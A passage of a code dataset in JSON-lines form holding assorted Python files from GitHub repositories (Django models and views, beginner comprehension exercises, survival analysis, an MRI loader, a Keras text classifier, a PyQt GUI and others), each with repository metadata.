blank=True)\n    language_skill = models.CharField(max_length=1024, null=True, blank=True)\n    computer_skill = models.CharField(max_length=1024, null=True, blank=True)\n    additional_skill = models.CharField(max_length=1024, null=True, blank=True)\n    salary = models.CharField(max_length=100, null=True, blank=True)\n    additional_information = models.TextField(max_length=100, null=True, blank=True)\n    institution = models.CharField(max_length=100, null=True, blank=True)\n\n    updated_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='%(class)s_update_user')\n    created_at = models.DateTimeField(default=timezone.now)\n    updated_at = models.DateTimeField(auto_now=True)\n\n    @staticmethod\n    def get_index_model(**kwargs):\n        from b24online.search_indexes import ResumeIndex\n        return ResumeIndex\n\n    def get_absolute_url(self):\n        return reverse('resume:detail', args=[self.slug, self.pk])\n\n    def has_perm(self, user):\n        if not user.is_authenticated() or user.is_anonymous():\n            return False\n\n        return user.is_commando or user.is_superuser or self.user == user\n\n    class Meta:\n        index_together = [\n            ['created_at', 'user'],\n        ]\n","repo_name":"alexvnukoff/project","sub_path":"b24project/jobs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18196686777","text":"# first exercise - create a list of square numbers in a single line (list comprehension)\nnumbers = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55]\nsquared_numbers = [n**2 for n in numbers]\nprint(\"\\nSquared numbers from a given list\")\nprint(squared_numbers)\n\n# list filtering for even numbers in a single line (list comprehension)\nnumbers = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55]\nresult = [number for number in numbers if number % 2 == 0]\nprint(\"\\nNumber in a given list that are even\")\nprint(result)\n\n# create a list called result which contains the numbers that are common in both files.\n# file1.txt contained: 1, 2, 3\n# file2.txt contained: 2, 3, 4\n# result = [2, 3]\nwith open(\"file1.txt\", \"r\") as file1:\n    data1 = (file1.readlines())\n\nwith open(\"file2.txt\", \"r\") as file2:\n    data2 = (file2.readlines())\n\nresult = [int(num) for num in data1 if num in data2]\nprint(\"\\nNumbers in both files: \")\nprint(result)\n\n# dictionary comprehension\nimport random\nnames = ['Tony', 'Peter', 'Steve', 'Bruce', 'Thor', 'Clinton', 'Wanda', 'Natasha', 'Stephen']\n\ncurrent_power = {avenger:random.randint(1,100) for avenger in names}\nprint(\"\\nAvengers Power Level\")\nprint(current_power)\n\npowerful_avengers = {avenger: power for (avenger, power) in current_power.items() if power > 70}\nprint(\"\\nSuper Powerful Avengers\")\nprint(powerful_avengers)\n\n# exercise 2 with dic comprehension - length of words\nmichael = \"That's what she said\"\nmichael_dict = {word: len(word) for word in michael.split()}\nprint(\"\\nNumber of characters in every word of famous Michael Scott catch phrase\")\nprint(michael_dict)\n\n\n# exercise 3 with dic comprehension - repetition of words\npam_speech = '''I didn't watch the whole documentary. After a few episodes, it was too painful. \nI kept wanting to scream at Pam. It took me so long to do so many important things. \nIt's just hard to accept that I spent so many years being less happy than I could have been. \nJim was 5 feet from my desk and it took me four years to get to him. \nIt'd be great if people saw this documentary and learned from my mistakes. \nNot that I'm a tragic person. I'm really happy now. \nBut it would just just make my heart soar if someone out there saw this \nand she said to herself be strong, trust yourself, love yourself. \nConquer your fears. Just go after what you want and act fast, because life just isn't that long.'''\n\n# list_pam_speech = pam_speech.split()\n# pam_dict = {word: list_pam_speech.count(word) for word in list_pam_speech}\npam_dict = {word: pam_speech.split().count(word) for word in pam_speech.split()}\nprint(\"\\nNumber of repetitive words in Pam's last speech\")\nprint(pam_dict)\n\n# exercise 4\nweather_c = {\n    \"Monday\": 12,\n    \"Tuesday\": 14,\n    \"Wednesday\": 15,\n    \"Thursday\": 14,\n    \"Friday\": 21,\n    \"Saturday\": 22,\n    \"Sunday\": 24,\n}\nweather_f = {day: temp_c*9/5 + 32 for (day, temp_c) in weather_c.items()}\nprint(\"\\nWeather converted to Fahrenheit\")\nprint(weather_f)\n\n\n# NATO challenge\nimport pandas\nname = input(\"\\nType you name: \").replace(\" \", \"\").lower()\nnato = pandas.read_csv(\"nato.csv\")\n\nprint(\"\\nMethod 1 - Creation of the list directly\")\nresult_method1 = [nato[nato.letter == character].code.values[0] for character in name]\nprint(result_method1)\n\nprint(\"\\nMethod 2 - with the creation of the dictionary first using iterrows\")\nnato_dict = {series.letter: series.code for (index, series) in nato.iterrows()}\n# nato_dict = {series[0]:series[1] for (index, series) in nato.iterrows()}\nresult_method2 = [nato_dict[character] for character in name]\nprint(result_method2)","repo_name":"luccaskunzler/my-100-days-of-python_day-26_list-dict-comprehension","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33943911805","text":"#%%\nfrom lifelines import KaplanMeierFitter\nfrom lifelines import CoxPHFitter\nfrom lifelines.utils import median_survival_times\nfrom lifelines.statistics import proportional_hazard_test\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nimport argparse\n\ndef dir_path(string):\n    if os.path.isdir(string):\n        return string\n    else:\n        raise NotADirectoryError(string)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-p', '--prediction', type=dir_path, help='Pass directory path containing prediction data with -p flag', default=\"D:/PCAM DATA/Prediction_data/probability_predictions_all\")\nparser.add_argument('-s', '--survival',  help=\"Pass survival data file path with -s flag\", default=\"D:/PCAM DATA/Survival/survival_data.csv\")\n\nif __name__ == \"__main__\":\n    args = parser.parse_args()\n    #%%\n    survival_df = pd.read_csv(args.survival)\n    survival_df.head()\n\n    # %%\n    score = {}\n    pred_path = args.prediction\n    for prediction in os.listdir(pred_path):\n        if prediction.endswith(\".csv\"):\n            df = pd.read_csv(os.path.join(pred_path, prediction), index_col=\"Unnamed: 0\")\n            counts = df['predictions'].value_counts()\n            malignant_score = counts[1]/len(df)\n            score[prediction[:12]] = malignant_score\n\n    # %%\n    print(score)\n\n    # %%\n    for id in score.keys():\n        idx = survival_df.index[survival_df['Patient ID'] == id][0]\n        survival_df.loc[idx, \"Malignancy Score\"] = score[id]\n\n    survival_df[\"Malignancy Score\"] = survival_df[\"Malignancy Score\"].replace(np.nan, 0)\n\n    # %%\n    # label fixing\n    survival_df[\"OS_STATUS\"] = np.where(survival_df[\"OS_STATUS\"] == \"1:DECEASED\", 1, 0)\n    counts = survival_df[\"OS_STATUS\"].value_counts()\n    print(counts)\n\n    # %%\n    survival_df.head()\n\n    # %%\n    # Drop empty rows\n    survival_df.dropna(axis=0, how='any', inplace=True)\n    survival_df.isnull().sum()\n\n    counts = survival_df[\"OS_STATUS\"].value_counts()\n    print(counts)\n\n    # %%\n    survival_df = survival_df[survival_df[\"Malignancy Score\"] != 0.0]\n    survival_df.head()\n\n    ########################################################\n    ########################################################\n\n    # %%\n    #KM plot\n    T = survival_df[\"OS_MONTHS\"]\n    E = survival_df[\"OS_STATUS\"]\n    kmf = KaplanMeierFitter()\n    kmf.fit(durations= T, event_observed = E)\n    kmf.plot_survival_function()\n    plt.title(\"Survival Plot\")\n\n    # %%\n    median_ = kmf.median_survival_time_\n    median_confidence_interval = median_survival_times(kmf.confidence_interval_)\n\n    print(median_)\n    print(median_confidence_interval)\n\n    # %%\n    ## Cox model\n    data = survival_df[['OS_MONTHS', 'OS_STATUS', 'Malignancy Score']]\n    data.head()\n\n    # %%\n    cph = CoxPHFitter()\n    cph.fit(data, duration_col='OS_MONTHS', event_col='OS_STATUS')\n    cph.print_summary()\n\n    # %%\n    plt.subplots(figsize=(10, 6))\n    cph.plot()\n\n    # %%\n    cph.plot_partial_effects_on_outcome(covariates='Malignancy Score', values=[\n        0.1, 0.5, 0.75, 0.9\n        ], cmap='coolwarm')\n\n    # %%\n    results = proportional_hazard_test(cph, data, time_transform='rank')\n    results.print_summary(decimals=3, model=\"untransformed variables\")\n\n# %%\n","repo_name":"AnirbitGhosh/L4-Project","sub_path":"src/survival/test_survival_methods.py","file_name":"test_survival_methods.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7050615217","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nfrom pprint import pprint\n\nwith open(\"show_ip_int_brief.txt\") as f:\n    output = f.readlines()\n\nip_dict = {}\nfor line in output:\n    line = line.strip()\n    if 'Interface' in line:\n        continue\n    interface, ip_address, _, _, status, protocol = line.split()\n    fields = {\n        'ip_address': ip_address,\n        'line_status': status,\n        'line_protocol': protocol,\n    }\n    ip_dict[interface] = fields\n\n\npprint(ip_dict)\n","repo_name":"ktbyers/pynet-ons-jul17","sub_path":"day2/review_ex1.py","file_name":"review_ex1.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"39903122533","text":"from collections import defaultdict, deque\r\ndef solve(n,edges):\r\n    G=defaultdict(list)\r\n    cnt=[0]*n\r\n    for a,b in edges:\r\n        G[a].append(b)\r\n        G[b].append(a)\r\n        cnt[a]+=1\r\n        cnt[b]+=1\r\n\r\n    arr=[]\r\n    vis=[0]*n\r\n    for i in G:\r\n        if (len(G[i])==1):\r\n            vis[i]=1\r\n            arr.append(i)\r\n\r\n    while(len(arr)!=0):\r\n        temp=[]\r\n        for a in arr:\r\n            for b in G[a]:\r\n                if (vis[b]==0):\r\n                    if (cnt[b]==2):\r\n                        temp.append(b)\r\n                        cnt[b]=0\r\n                    else:\r\n                        cnt[b]=cnt[b]-1\r\n        #print(arr,temp)\r\n        if(len(temp)==0):\r\n            return arr\r\n        arr=temp\r\n    return [0]\r\n\r\nprint(solve(4,[[1,0],[1,2],[1,3]]))\r\n            \r\nprint(solve(7,[[0,1],[1,2],[1,3],[2,4],[3,5],[4,6]]))\r\n","repo_name":"aman1108/Interview-Coding-Questions","sub_path":"Tree (Tree Algo ,Heap, Segment Tree)/Maximum Height Trees.py","file_name":"Maximum Height Trees.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"13255525307","text":"from django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.shortcuts import render\n\nfrom .models import Student\nfrom .forms import StudentForm\n# Create your views here.\n\n\ndef index(request):\n    students = Student.get_all()\n    if request.method == 'POST':\n        form = StudentForm(request.POST)\n        if form.is_valid():\n            # clean_data = form.cleaned_data\n            # student = Student()\n            # student.name = clean_data['name']\n            # student.sex = clean_data['sex']\n            # student.email = clean_data['email']\n            # student.profession = clean_data['profession']\n            # student.qq = clean_data['qq']\n            # student.phone = clean_data['phone']\n            form.save()\n            return HttpResponseRedirect(reverse('index'))\n    else:\n        form = StudentForm()\n    context = {\n        'students': students,\n        'form': form,\n    }\n    return render(request, 'index.html', context=context)\n\n","repo_name":"xiaotudoushizhenjun/-","sub_path":"student_sys/student/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38030777621","text":"import numpy as np\n\n# Program constants / server constants\nHOST = \"127.0.0.1\"\nPORT = 1024  # 0x4A7AB1 could have been a better port, but networkers did not allow us to have it\nDATASIZE = 4096\n\nCOLORS = [\"red\", \"yellow\", \"green\", \"blue\", \"white\"]\nCARD_COUNT = [3, 2, 2, 2, 1]\nINITIAL_DECK = np.array(\n    [CARD_COUNT for _ in range(5)],\n    dtype=np.uint8,\n)\n","repo_name":"DarthReca/Hanabi-Agent","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"27989809405","text":"import distutils.cygwinccompiler\nimport sys\n\ndef get_msvcr():\n    \"\"\"Include the appropriate MSVC runtime library if Python was built\n    with MSVC 7.0 or later.\n    \"\"\"\n    msc_pos = sys.version.find('MSC v.')\n    if msc_pos != -1:\n        msc_ver = sys.version[msc_pos+6:msc_pos+10]\n    if msc_ver == '1300':\n        # MSVC 7.0\n        return ['msvcr70']\n    elif msc_ver == '1310':\n        # MSVC 7.1\n        return ['msvcr71']\n    elif msc_ver == '1400':\n        # VS2005 / MSVC 8.0\n        return ['msvcr80']\n    elif msc_ver == '1500':\n        # VS2008 / MSVC 9.0\n        return ['msvcr90']\n    elif msc_ver == '1600':\n        # VS2010 / MSVC 10.0\n        return ['msvcr100']\n    elif msc_ver == '1700':\n        # Visual Studio 2012 / Visual C++ 11.0\n        return ['msvcr110']\n    elif msc_ver == '1800':\n        # Visual Studio 2013 / Visual C++ 12.0\n        return ['msvcr120']\n    elif msc_ver == '1900':\n        # Visual Studio 2015 / Visual C++ 14.0\n        # \"msvcr140.dll no longer exists\" http://blogs.msdn.com/b/vcblog/archive/2014/06/03/visual-studio-14-ctp.aspx\n        return ['vcruntime140']\n    else:\n        # to do: can we make this futureproof?\n        raise ValueError(\"Unknown MS Compiler version %s \" % msc_ver)\ndistutils.cygwinccompiler.get_msvcr = get_msvcr\n","repo_name":"jencmart/bi-bap","sub_path":"src/venv/lib/python3.5/site-packages/cppimport/windows_cygwin.py","file_name":"windows_cygwin.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28949297439","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nclass Controller(nn.Module):\n    \n    def __init__(self, input_dim, ctrl_dim, output_dim, read_data_size):\n        super(Controller, self).__init__()\n        \n        self.input_size = input_dim\n        self.ctrl_dim = ctrl_dim\n        self.output_size = output_dim\n        self.read_data_size = read_data_size\n        \n        # Controller neural network\n        self.controller_net = nn.LSTMCell(input_dim, ctrl_dim)\n        # Output neural network\n        self.out_net = nn.Linear(read_data_size, output_dim)\n        # Initialize the weights of output net\n        nn.init.kaiming_uniform_(self.out_net.weight)\n        \n        # Learnable initial hidden and cell states\n        self.h_state = torch.zeros([1, ctrl_dim])\n        self.c_state = torch.zeros([1, ctrl_dim])\n        # Layers to learn init values for controller hidden and cell states\n        self.h_bias_fc = nn.Linear(1, ctrl_dim)\n        self.c_bias_fc = nn.Linear(1, ctrl_dim)\n        # Reset\n        self.reset()\n        \n    def forward(self, x, prev_reads):\n        '''Returns the hidden and cell states'''\n        x = torch.cat([x, *prev_reads], dim=1)\n        # Get hidden and cell states\n        self.h_state, self.c_state = self.controller_net(x, (self.h_state, self.c_state))\n        \n        return self.h_state, self.c_state\n    \n    def output(self, reads):\n        '''Returns the external output from the read vectors'''\n        out_state = torch.cat([self.h_state, *reads], dim=1)\n        # Compute output\n        output = torch.sigmoid(self.out_net(out_state))\n        \n        return output\n        \n    def reset(self, batch_size=1):\n        '''Reset/initialize the controller states'''\n        # Dummy input\n        in_data = torch.tensor([[0.]])\n        # Hidden state\n        h_bias = self.h_bias_fc(in_data)\n        self.h_state = h_bias.repeat(batch_size, 1)\n        # Cell state\n        c_bias = self.c_bias_fc(in_data)\n        self.c_state = c_bias.repeat(batch_size, 1)","repo_name":"nerdimite/ntm","sub_path":"modules/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"60"}
+{"seq_id":"25912475575","text":"from MRILoader import MRILoader,MultipleMRILoader\r\n\r\n\"\"\"\r\n示例路径为在与test文件同级中，有一个名为data的文件夹，里面有多个子文件夹，子文件夹内有多个nii.gz文件，只读取T1W开头的文件的情况。\r\n\"\"\"\r\n#因为save方法基本上会调用绝大部分的核心处理方法，因此使用save方法进行测试。\r\n\r\n# 加载单一MRI文件时\r\nMRIPath='./data/CC001/T1w_bscorr_SS.nii.gz'#请自行更改MRI文件地址\r\nloader = MRILoader(MRIPath)\r\narr=loader.getMultiplePositionSlices(position=[\"y\"],type=None,consistent=True)\r\nloader.display(150,arr[0])\r\n\r\nloader.display(150,loader.normalizeSlicesTernary)\r\n\r\n# loader.save()#默认存储到save文件夹\r\n#\r\n# # 加载多个MRI文件时\r\n# MRIPath='./data/*/T1w*.nii*'#请自行更改MRI文件路径，注意这里是glob格式的路径，而不是文件夹路径\r\n# # 提示：*.nii 代表后缀名为nii的文件，*.nii*代表，包含.nii的文件，例如.nii、.nii.gz。\r\n# # 例如我们想要获取data文件夹（与当前文件在同一文件夹时）下所有子文件夹里的nii和nii.gz文件时，就可以使用 ./data/*/*.nii*\r\n#\r\n# loaders = MultipleMRILoader(MRIPath)  # 这里的路径需要使用glob表达式传入需要的文件，可以使用*作为通配符，不能直接传入文件夹路径\r\n# # 保存全部切片\r\n# loaders.save()\r\n\r\n\r\n\r\n","repo_name":"su797/MRILoader","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"11725585049","text":"import recognition\nimport sensing\nimport time\n\n\nclass PotData:\n    nowData = {}\n    # wantDate = {}   #ex) wantData = {'lux' = 5, 'ph' = 6.5}\n\n    def dataSensing(self, factor, address):\n        self.nowData[factor] = sensing.getData(address)\n\n        return self.nowData[factor]\n\n\ndef main():\n    while True:\n        address = recognition.check()\n        pot = PotData()\n\n        for factor in address:\n            pot.dataSensing(factor, address[factor])\n\n        for i in pot.nowData.keys():    #센싱값 출력 테스트\n            print(\"%s %s %s\" % (i, pot.nowData[i], pot.nowData[i]))\n\n        time.sleep(5)  # 5초 주기로 반복\n\n\nmain()\n","repo_name":"ppv123/ModularHydroponics","sub_path":"ver3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"38126313041","text":"from rest_framework.filters import BaseFilterBackend\n\n\nclass RecipeFilter(BaseFilterBackend):\n    def filter_queryset(self, request, queryset, view):\n        tags = request.query_params.getlist(\"tags\", None)\n        if tags:\n            queryset = queryset.filter(tags__name__in=tags).distinct()\n        ingredients = request.query_params.getlist(\"ingredients\", None)\n        if ingredients:\n            queryset = queryset.filter(ingredients__name__in=ingredients).distinct()\n        me = request.query_params.get(\"me\")\n        if me:\n            if me.lower() == \"true\":\n                queryset = queryset.filter(user_id=request.user)\n            elif me.lower() == \"false\":\n                queryset = queryset.exclude(user_id=request.user)\n        return queryset\n","repo_name":"OmarSwailam/MyRecipes","sub_path":"recipes/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71118047551","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics import make_scorer, f1_score, accuracy_score, recall_score, precision_score, classification_report, precision_recall_fscore_support\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Embedding, LSTM\nfrom sklearn.model_selection import train_test_split\nfrom keras.utils.np_utils import to_categorical\nimport re\nfrom keras.layers.core import Dense, Dropout, Activation, Lambda\nfrom sklearn.metrics import accuracy_score, classification_report, confusion_matrix\nfrom keras.layers.convolutional import Conv1D\nfrom keras import backend as K\n\ndf = pd.read_csv('featureSet.tsv',sep = '\\t', header=0)\n\n\n# In[3]:\n\n\ndf.head\n\n\n# In[4]:\n\n\ndf.shape\n\n\n# In[5]:\n\n\ndf['text'] = [str(x).lower() for x in df['text']]\n\n\n# In[6]:\n\n\ndf['text']\n\n\n# In[7]:\n\n\ntokenizer = Tokenizer(num_words=4000, filters='!\"#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~\\t\\n',\n                                   lower=True,split=' ')\n\n\n# In[8]:\n\n\ntokenizer.fit_on_texts(df['text'])\n\n\n# In[9]:\n\n\nlen(df['text'])\n\n\n# In[10]:\n\n\ntrain_Y = [str(x) for x in df['tag']]\n\n\n# In[11]:\n\n\ntrain_Y\n\n\n# In[12]:\n\n\ndf['text'] = tokenizer.texts_to_sequences(df['text'])\n\n\n# In[13]:\n\n\ndf.iloc[0][1:11]\n\n\n# In[14]:\n\n\ndf['text'][0]\n\n\n# In[15]:\n\n\nnew_x = []\nnew_text = []\nnew_y = []\n\n# df = df.drop('UniCount', axis=1)\n# df = df.drop('haveURL', axis=1)\n# df = df.drop('totalPunct', axis=1)\n\n# df = df.iloc[:, df.columns != 'SentLen' ]\n\nfor i in range(0, len(df['text'])):\n    if len(df['text'][i]) < 400:\n        new_text.append(df['text'][i])\n        new_x.append(df.iloc[i][1:11])\n        new_y.append(train_Y[i])\n\n\n# In[16]:\n\n\nprint(len(new_x), len(new_x[0]))\n# new\n\n\n# In[17]:\n\n\ndf.iloc[0][0:]\n\n\n# In[18]:\n\n\nnew_x = np.array(new_x)\n\n\n# In[19]:\n\n\nnew_x\n\n\n# In[20]:\n\n\nlen(new_y)\n\n\n# In[21]:\n\n\ntext_pad = pad_sequences(new_text)\n\n\n# In[22]:\n\n\ntext_pad.shape\n\n\n# In[23]:\n\n\ntype(text_pad)\n\n\n# In[24]:\n\n\ntype(new_x)\n\n\n# In[25]:\n\n\nX = np.concatenate((text_pad, new_x), axis=1)\n\n\n# In[26]:\n\n\nprint(len(new_x), len(new_x[0]))\nprint(text_pad.shape)\n\n\n# In[27]:\n\n\nX.shape\n\n\n# In[28]:\n\n\nY = pd.get_dummies(new_y)\n\n\n# In[29]:\n\n\nY\n\n\n# In[30]:\n\n\nX_train, X_test, Y_train, Y_test = train_test_split(X,Y, test_size = 0.2, random_state = 42)\n\n\n# In[31]:\n\n\nprint(X_train.shape,Y_train.shape)\nprint(X_test.shape,Y_test.shape)\n\n\n# In[32]:\n\n\n# Our CNN Model\n\nnb_filter = 100\nkernel_size = 2\nhidden_dims = 400\nnb_epoch = 2\n\nprint('Build model...')\nmodel = Sequential()\nmodel.add(Embedding(4000, 128))\nmodel.add(Dropout(0.2)) \n# we add a Convolution1D, which will learn nb_filter\n# word group filters of size filter_length:\nmodel.add(Conv1D(filters=nb_filter,\n                        kernel_size=(kernel_size),\n                        padding='valid',\n                        activation='relu',\n                        strides=1))\n\ndef max_1d(X_train):\n    return K.max(X_train, axis=1)\n\nmodel.add(Lambda(max_1d, output_shape=(nb_filter,)))\n\nmodel.add(Dense(hidden_dims)) \nmodel.add(Dropout(0.2)) \nmodel.add(Activation('relu'))\n\nmodel.add(Dense(hidden_dims)) \nmodel.add(Dropout(0.2)) \nmodel.add(Activation('relu'))\n\nmodel.add(Dense(3))\nmodel.add(Activation('sigmoid'))\n\nmodel.compile(loss='binary_crossentropy',\n              optimizer='adam',\n              metrics=['accuracy'])\n\n# Acc: 0.7287722399230668\n\n\n# In[33]:\n\n\nmodel.summary()\n\n\n# In[34]:\n\n\nprint('Train...')\nmodel.fit(X_train, Y_train, batch_size=32, epochs=2,\n          validation_split=0.2)\nscore, acc = model.evaluate(X_test, Y_test, batch_size=32)\nprint('Test score:', score)\nprint('Test accuracy:', acc)\n\n\n# In[35]:\n\n\n# Test score: 0.5160072511526885\n# Test accuracy: 0.7287722399230668\n\n# nb_filter = 100\n# kernel_size = 2\n# hidden_dims = 400\n# epochs = 2\n\n\n# In[36]:\n\n\npredict = model.predict(X_test)\n\n\n# In[37]:\n\n\npredict\n\n\n# In[ ]:\n\n\n\n\n\n# In[38]:\n\n\n(Y_test)\n\n\n# In[39]:\n\n\ntest_y = Y_test.as_matrix()\n\n\n# In[40]:\n\n\ntest_y\n\n\n# In[41]:\n\n\ntype(predict)\n\n\n# In[42]:\n\n\n# p =precision_score(test_y, predict, average='weighted')\n\n\n# In[43]:\n\n\nlen(predict)\n\n\n# In[44]:\n\n\ntmpMat = np.zeros((2324, 3), dtype=int)\n\n\n# In[45]:\n\n\ntmpMat\n\n\n# In[46]:\n\n\nfor i in range(0,len(predict)):\n    if(predict[i][0] > predict[i][1] and predict[i][0] > predict[i][2]):\n        tmpMat[i][0]=1\n    elif(predict[i][1] > predict[i][0] and predict[i][1] > predict[i][2]):\n        tmpMat[i][1]=1\n    else:\n        tmpMat[i][2]=1\n        \n\n\n# In[47]:\n\n\ntmpMat\n\n\n# In[48]:\n\n\nprint(precision_score(test_y, tmpMat, average='weighted'))\nprint(recall_score(test_y, tmpMat, average='weighted'))\nprint(f1_score(test_y, tmpMat, average='weighted'))\n\n\nprint(precision_score(test_y, tmpMat, average='micro'))\nprint(recall_score(test_y, tmpMat, average='micro'))\nprint(f1_score(test_y, tmpMat, average='micro'))\n\n\nprint(precision_score(test_y[:,0], tmpMat[:,0], average='weighted'))\nprint(recall_score(test_y[:,0], tmpMat[:,0], average='weighted'))\nprint(f1_score(test_y[:,0], tmpMat[:,0], average='weighted'))\n\n\n\nprint(precision_score(test_y[:,1], tmpMat[:,1], average='weighted'))\nprint(recall_score(test_y[:,1], tmpMat[:,1], average='weighted'))\nprint(f1_score(test_y[:,1], tmpMat[:,1], average='weighted'))\n\nprint(precision_score(test_y[:,2], tmpMat[:,2], average='weighted'))\nprint(recall_score(test_y[:,2], tmpMat[:,2], average='weighted'))\nprint(f1_score(test_y[:,2], tmpMat[:,2], average='weighted'))\n\n\naccuracy = (test_y == tmpMat).all(axis=(0,1)).mean()\n\n\n\nprint(accuracy)\n\nerror = np.mean( test_y != tmpMat)\n\nprint(error)\n\nacc = np.mean(test_y == tmpMat)\n\nprint(acc)\n\n","repo_name":"SilentFlame/AggressionDetection","sub_path":"CNNwithNewFeat.py","file_name":"CNNwithNewFeat.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"16527060270","text":"def makeGroups(ages):\n    '''\n    Given: a list of ages of children. Group children such that they are not\n    more than 2 years apart.\n    \n    Return minimum number of such groups. \n    '''\n    n_kids = len(ages)\n    ages.sort()\n    low = ages[0]\n    n_groups = 1\n    for i in range(n_kids):\n        if ages[i] > low + 2:\n            n_groups += 1\n            low = ages[i]\n    return n_groups\n\nif __name__ == '__main__':\n    ages = list(map(int,input().split()))\n    print(makeGroups(ages))\n","repo_name":"arshsinghphd/Algorithms200x","sub_path":"03_03.Party.py","file_name":"03_03.Party.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36243609036","text":"#!/usr/bin/env python3\n\ntry:\n    from PyQt5.QtWidgets import (QPushButton, QGridLayout,\n        QWidget, QApplication, QLabel, QMenuBar, QVBoxLayout,\n        QHBoxLayout, QMainWindow, QFileDialog, QComboBox,\n        QSpacerItem, QSizePolicy, QSlider)\n    from PyQt5.QtCore import Qt\n    using_qt5 = True\nexcept:\n    from PyQt4.QtGui import (QPushButton, QGridLayout,\n        QWidget, QApplication, QLabel, QMenuBar, QVBoxLayout,\n        QHBoxLayout, QMainWindow, QFileDialog, QComboBox,\n        QSpacerItem, QSizePolicy, QSlider)\n    from PyQt4.QtCore import Qt\n    using_qt5 = False\n\nimport sys\nimport codegen\nfrom xyzview import *\nfrom mainview import MainView\nfrom block import Block\nfrom functools import partial\n\n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super(MainWindow, self).__init__()\n        self.parts = []\n        self.blocks = []\n        self.centralBlock = [0, 0, 0, 1]\n        self.resolution = 16\n        self.createGUI()\n        self.createMenu()\n        self.connectSlots()\n        self.project_file = \"\"\n        self.current_block = 0\n        self.block_count = 0\n\n    def createGUI(self):\n        self.widget = QWidget(self)\n        self.gvMain = MainView(self, 0, self.blocks)\n        self.views = {key: XYZview(self, self.blocks, key)\n                for key in ('xy', 'yz', 'zx')}\n        self.cbSelectBox = QComboBox(self)\n        self.pbAddBox = QPushButton(\"Add Box\", self)\n        self.pbDeleteBox = QPushButton(\"Delete selected box\", self)\n        self.slScale = QSlider(self)\n        self.slScale.setOrientation(Qt.Horizontal)\n        self.slScale.setRange(2, 15)\n        self.slScale.setValue(5)\n        self.slResolution = QSlider(self)\n        self.slResolution.setOrientation(Qt.Horizontal)\n        self.slResolution.setRange(1, 6) # resolution is 2**this_value\n        self.slResolution.setValue(4) # 2**4 is 16 -- initial resolution\n        self.turn_buttons = {'x': QPushButton(\"Turn around X axis\", self),\n                             'y': QPushButton(\"Turn around Y axis\", self),\n                             'z': QPushButton(\"Turn around Z axis\", self)}\n        self.swap_buttons = {'xy': QPushButton(\"Swap X and Y\", self),\n                             'yz': QPushButton(\"Swap Y and Z\", self),\n                             'zx': QPushButton(\"Swap Z and X\", self)}\n        self.grLayout = QGridLayout()\n        self.grLayout.addWidget(QLabel(\"Main view\"), 0, 0)\n        self.grLayout.addWidget(self.gvMain, 1, 0)\n        self.grLayout.addWidget(QLabel(\"Y view\"), 0, 1)\n        self.grLayout.addWidget(self.views['zx'], 1, 1)\n\n        self.vbRightLayout = QVBoxLayout()\n        self.vbRightLayout.addWidget(QLabel(\"Select box\"))\n        self.vbRightLayout.addWidget(self.cbSelectBox)\n        self.vbRightLayout.addWidget(self.pbAddBox)\n        self.vbRightLayout.addWidget(self.pbDeleteBox)\n        self.vbRightLayout.addWidget(QLabel(\"Scale\"))\n        self.vbRightLayout.addWidget(self.slScale)\n        self.vbRightLayout.addWidget(QLabel(\"Resolution\"))\n        self.vbRightLayout.addWidget(self.slResolution)\n        self.vbRightLayout.addItem(\n            QSpacerItem(0, 0, QSizePolicy.Minimum, QSizePolicy.Expanding))\n        for button in self.swap_buttons.values():\n            self.vbRightLayout.addWidget(button)\n        for button in self.turn_buttons.values():\n            self.vbRightLayout.addWidget(button)\n\n        self.hbMainLayout = QHBoxLayout()\n        